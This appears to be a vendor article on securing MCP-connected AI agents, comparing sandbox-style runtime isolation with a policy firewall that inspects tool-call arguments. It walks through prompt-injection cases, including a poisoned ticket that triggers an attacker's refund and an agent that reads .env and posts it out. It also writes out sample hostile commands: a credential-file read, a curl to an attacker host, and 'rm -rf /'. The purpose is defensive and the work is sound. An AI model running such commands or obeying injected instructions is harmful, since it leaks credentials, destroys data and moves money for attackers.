MCP-era threat model
The threat model for an MCP-speaking agent looks nothing like the threat model for a chat completion. Three concrete failure modes, each of which has shown up in production incidents over the last twelve months, illustrate the shift.
Prompt-injection-driven destructive tool calls. An attacker plants instructions in content the agent will read — an issue comment, a customer message, a document the agent ingests — that cause the agent to call a tool with an unintended argument. The classic case is the support agent that reads a poisoned ticket and then calls refund.process with the attacker's amount and account. The agent did exactly what it was permitted to do; the tool exists, the agent has access, the call succeeds. The defense for this is not sandboxing — the call is in-bounds for the sandbox — it is a policy decision that inspects the arguments and decides whether this specific call is allowed.
Supply-chain compromise of an MCP server. An MCP server the agent connects to is compromised — through a malicious npm dependency, a stolen token, or a maintainer takeover. The compromised server can now respond to the agent with arbitrary content, including content that triggers further tool calls. The agent has no native defense; from its perspective the responses are legitimate. The defense here is two-layered: output safety policy on tool responses, plus runtime isolation that limits what the agent can do with whatever the compromised tool returns.
Credential exfiltration via "innocent" tools. A coding agent with read access to the developer's filesystem and a permitted http.fetch MCP tool reads .env and POSTs the contents to an attacker-controlled URL. Every individual permission is reasonable in isolation. The composition is the attack. The defense here is policy: deny http.fetch to non-allowlisted destinations, or deny it entirely when the arguments include content that matches credential patterns. A sandbox that allows network egress will not catch this; only the policy layer sees the argument.
How OpenShell-style runtime isolation works
OpenShell and the broader family of agent-sandboxing tools — gVisor-isolated agent workers, Firecracker microVMs for code-execution agents, Bubblewrap-based isolation in some self-hosted setups — apply the same architectural pattern: confine the agent process so its actions cannot reach beyond a tightly-scoped boundary at the operating-system level.
In practice that boundary is built from a few primitives. Filesystem isolation via bind mounts or overlay filesystems gives the agent a private root with only the files it needs — no host /etc, no developer home directory, no SSH keys, no credential files. Network isolation via network namespaces denies egress by default and allows it only to explicitly whitelisted destinations; the agent cannot reach metadata services, internal APIs, or the open internet without explicit allowance. Syscall restriction via seccomp profiles or capability dropping limits what the kernel will accept from the process — no ptrace, no mount, no privileged operations. Ephemeral state ensures the sandbox is reset between runs so persistence across sessions is not available even if the agent is induced to leave artifacts behind.
The strength of this model is that it stops a category of attacks that nothing else stops. A sandboxed agent that gets prompt-injected into running cat ~/.aws/credentials reads an empty filesystem. A sandboxed agent that gets prompt-injected into curl http://attacker.example/exfil hits a denied network namespace. A sandboxed agent whose MCP server returns a payload designed to escalate into the host runs into syscall restrictions. These are real defenses against real attacks, and any agent that runs untrusted code at runtime — code-execution agents, sandbox-tool agents, agents that exec arbitrary commands — should be running in something OpenShell-shaped.
The limitation of this model is structural: the sandbox cannot decide whether an in-sandbox action should have been allowed. A sandboxed agent with a permitted stripe.refund MCP tool and a prompt-injection telling it to refund $50,000 to an attacker's card will issue that refund. The sandbox sees a permitted tool call to a permitted destination. The damage happens entirely within bounds. The sandbox is not the layer that defends this.
How Cordum's MCP firewall works
An MCP firewall is the layer that does decide whether an in-bounds action should have been allowed. In Cordum's implementation, every MCP tool call passes through a Policy Enforcement Point inside the agent — a small integration on the agent's MCP client that intercepts each invocation before the transport carries it. The PEP serializes the full request (tool name, arguments, agent identity, request context, tenant, environment) and dispatches it over mTLS-protected gRPC to the Safety Kernel, which runs as a separate service with its own identity and its own audit store.
The Safety Kernel — the PDP — evaluates the request against the active policy set and returns one of four decisions. ALLOW dispatches the call. DENY blocks it and returns a typed error to the agent. REQUIRE_APPROVAL suspends the call, opens a human-in-the-loop approval request to the configured approver pool, and resumes when the approval (or rejection) is signed back. ALLOW_WITH_CONSTRAINTS returns a modified version of the request — arguments narrowed, recipients restricted, payload filtered — that the agent must use instead.
Every decision is signed by the Safety Kernel's identity and written to an audit store the agent process cannot reach. This is the property that makes the audit trail attestable: the existence and content of the decision does not depend on the agent reporting honestly. The decision logs continue even if the agent is compromised, because the agent did not produce them.
The policy itself is expressed declaratively. A minimal but representative example:
# cordum/policy/mcp_firewall.yaml
rules:
- id: deny-fs-write-prod
when:
tool: filesystem.write
environment: production
decision: DENY
- id: require-approval-refund-large
when:
tool: stripe.refund
args.amount_cents: { gt: 500000 }
decision: REQUIRE_APPROVAL
approvers: [ "finance-oncall" ]
- id: constrain-shell-exec
when:
tool: shell.exec
decision: ALLOW_WITH_CONSTRAINTS
constraints:
- "args.command in ['ls', 'cat', 'grep']"
The critical engineering property is that the firewall inspects both the tool name and the arguments. A firewall that only sees the tool name — "agent called stripe.refund" — is argument-blind, and an argument-blind firewall is trivially evaded the moment a permitted tool can be called with an unsafe argument. Argument inspection is not optional.
What runtime isolation defends
Runtime isolation is the layer that defends host integrity. The threats it stops cleanly are the ones where the agent process tries to reach beyond its assigned boundary at the OS level.
| Threat | OpenShell-style isolation | Cordum MCP firewall |
|---|---|---|
| Agent reads host /etc/passwd or developer SSH keys | Blocks (no host filesystem in sandbox) | Doesn't block — not its layer |
| Agent shells out to a destructive binary (rm, dd, mkfs) | Blocks (capability sandbox restricts syscalls) | Blocks if policy denies shell.exec or the command |
| Sandbox escape via kernel exploit | Mitigated (depth depends on isolation primitive) | N/A — sits at a different layer |
| Prompt-injection-driven 'rm -rf /' | Blocks if no shell in sandbox | Blocks at policy layer before the syscall is attempted |
| Lateral movement via shared Unix socket on the host | Blocks (sockets not mounted into sandbox) | Doesn't see it |
The pattern in this table is consistent: where the attack is "agent tries to interact with the host in a way it shouldn't," isolation is the defense and the policy firewall has either no view of it or only an indirect one. Sandbox escape via kernel exploit is the failure mode of last resort — when isolation is the only thing standing between the agent and host compromise, the strength of the isolation primitive matters enormously. gVisor and Firecracker are not equivalent to a chroot. For high-stakes deployments, the isolation primitive deserves the same scrutiny as the firewall policy.
What policy enforcement defends
The MCP firewall is the layer that defends business logic. The threats it stops cleanly are the ones where the agent takes an action that is in-bounds for the sandbox but wrong for the business.
| Threat | OpenShell-style isolation | Cordum MCP firewall |
|---|---|---|
| Approval-required action taken without approval | Allows (sandbox doesn't decide on actions) | Denies or routes to REQUIRE_APPROVAL |
| Cross-tenant data access via tool call | Allows (same sandbox sees both tenants) | Denies via tenant overlay policy |
| Compromised MCP server returns malicious responses | Doesn't see it (sandbox is upstream of the tool call) | Output safety policy can block on response payload |
| Business-rule violation (refund > $5k without two-person) | Allows | Denies via business-logic policy |
| Argument-level injection (right tool, wrong argument) | Allows | Denies if firewall inspects arguments |
These are the attacks the new agent governance category was built to address. Argument-level injection — right tool, wrong argument — is the dominant failure mode of MCP-speaking agents in production. Cross-tenant action leakage is the dominant failure mode of multi-tenant agent deployments. Approval-required actions taken without approval are the dominant failure mode of regulated workflows. None of these are sandbox-shaped problems. The sandbox sees nothing wrong because there is nothing wrong at the OS level.
Layering the two
The honest production pattern is policy first, isolation second. The order matters and the reason is structural.
Policy first. Pre-dispatch policy decides whether the action is even attempted. If the firewall denies the tool call, no syscall is made, no network packet leaves the agent, no MCP server is asked to act. The cheapest failure mode is the one that never happened. Pre-dispatch enforcement also keeps the audit trail clean: the decision is logged regardless of outcome, the attack is recorded as a denied attempt rather than as a successful action that the sandbox happened to contain.
Isolation second. For every tool call the firewall does allow, the question becomes: what is the blast radius if this call goes wrong? Isolation is what bounds that blast radius. A permitted shell.exec call inside a capability-restricted sandbox can do less damage than the same call on the host. A permitted http.fetch call from a network namespace with restricted egress can exfiltrate less than the same call with unrestricted networking. Isolation is the depth that catches what policy did not foresee.
The reverse order — isolation only, no policy — leaves a clearly described hole. Every action permitted inside the sandbox happens. A prompt-injected agent calling a permitted tool with a malicious argument runs uncontested. A supply-chain-compromised MCP server returning content that triggers further tool calls runs uncontested. The sandbox sees nothing wrong because, at the OS level, nothing is wrong. This is the gap that the "just sandbox everything" security posture leaves open.
The reverse-reverse — policy only, no isolation — is closer to acceptable but still has a gap. A compromised agent that goes outside the MCP client to invoke system binaries directly bypasses the firewall (the firewall is in the MCP client; the system binary is not). For agents that exec arbitrary commands, isolation is required regardless of how good the policy layer is.
The code agency problem
Coding agents — Claude Code, Cursor, Devin, GitHub Copilot Workspace, Aider, the new wave of background coding agents from every major lab — are the most security-difficult category of MCP-speaking agent in production today. The term "code agency" is sometimes used to describe what makes them hard: they run on developer machines with broad credentials and broad filesystem access, and they need both in order to do useful work.
Sandboxing is awkward here. The developer's working directory is not incidental to the agent's job — it is the agent's job. A coding agent confined to a private filesystem with no access to the developer's repository cannot help the developer. Confining the agent to a sandbox that bind-mounts the developer's repository writeable defeats much of the point of isolation: any destructive action on the repository — git push --force, rm -rf src, git reset --hard — is in-bounds for the sandbox because the repository is in-bounds for the sandbox. The same applies to credentials: the developer's shell environment has credentials in it because the developer needs them, and the agent inherits them because the agent needs them.
For coding agents, policy enforcement is the more practical primary control. The threats that matter — destructive git operations without explicit confirmation, package installs from untrusted registries, credential reads followed by network egress, shell.exec of commands that match dangerous patterns — are all argument-level and all decidable at the policy layer. CordClaw is Cordum's coding-agent profile: an MCP firewall configuration tuned for the tool surface of the major coding agents, with a default-deny posture on the operations that have caused real incidents.
Isolation still has a role even for coding agents — running untrusted code the agent generates (a script the agent wrote, a snippet from a tutorial) inside a transient sandbox is a clear win — but it is a narrower role than the "sandbox the whole agent" pattern that works for network-service agents.
When OpenShell is the right primary control
The honest version of this comparison includes the cases where runtime isolation is the better primary control and the policy firewall is over-engineering. Three of them.
Agents that run untrusted code at runtime. Code-execution agents — agents whose job is to run arbitrary Python or shell snippets to answer a user's question — are the canonical case. The action surface is unbounded by construction; the agent will run code that did not exist when the policy was written. There is no policy you can write that decides on the safety of arbitrary code without executing it. The right primary control is to execute it in a sandbox that limits what it can do, and to throw the sandbox away afterwards. Add policy for the small number of MCP tool calls the agent makes around the code execution, but the dominant control is isolation.
Host integrity is the primary security concern. If the agent runs on shared infrastructure where the operational risk is "agent compromises the host and pivots to other tenants," isolation is the layer that defends the operational risk. Policy enforcement on the agent's tool calls is secondary to the question of whether the agent process can escape its assigned boundary. Multi-tenant agent platforms — anyone running other people's agents on their infrastructure — should be sandboxing as the primary control with policy as a useful but not central addition.
Bounded action surface, simple policy. When the agent has a small fixed set of tools and the policy is "use only these tools, do not exec anything," a sandbox that simply does not contain shell access or unexpected binaries is sufficient. Writing a policy engine for an agent that only ever calls three tools is over-engineering. Isolation with a careful tool surface is the cheaper and simpler control.
Don't pretend a Cordum-shaped problem is the only shape an agent security problem comes in. Sandboxing is the right primary control for a meaningful slice of production agent deployments, and the right secondary control for almost all of the rest.
How to evaluate an MCP firewall
Three concrete tests an evaluator can run before committing to an MCP firewall product, similar in spirit to the compromise / independent-log / identity tests used for governance evaluation more broadly.
Test 1 — The MCP server compromise test. Deploy a deliberately-malicious MCP server that returns crafted responses designed to trigger further tool calls. Observe whether the policy decisions continue unmodified — the firewall should evaluate the new tool calls the agent attempts in response to the malicious payload, and should be able to see and decide on those calls the same way it sees and decides on calls triggered by the user. A firewall whose policy decisions degrade when the MCP server is compromised is one whose trust boundary leaks through the server.
Test 2 — The out-of-process test. Ask plainly: where do the policy decisions live? Are they rendered by code running in the agent process — a Python middleware, a callback handler, a decorator? Or are they rendered by a separate service the agent calls into over a network or IPC boundary? If the decision lives in the agent process, the firewall is in-process and shares the agent's failure domain — a sufficiently bad compromise of the agent can corrupt the decision. If the decision lives in a separate process with its own identity and its own logs, the firewall is out-of-process and survives agent compromise.
Test 3 — The argument inspection test. Send the firewall a permitted tool call with a malicious argument. The canonical example: stripe.refund is a permitted tool, send it with amount_cents: 5000000000. A correctly-implemented firewall denies or escalates on the argument. An argument-blind firewall — one that decides on tool names but not contents — allows it. Argument-blind firewalls are useless against the dominant class of MCP-era attacks; this test cuts straight to whether the product is real.
For a more general framing of the out-of-process test as it applies to AI agent governance writ large, the trust-boundary argument covers the same property at the architectural level.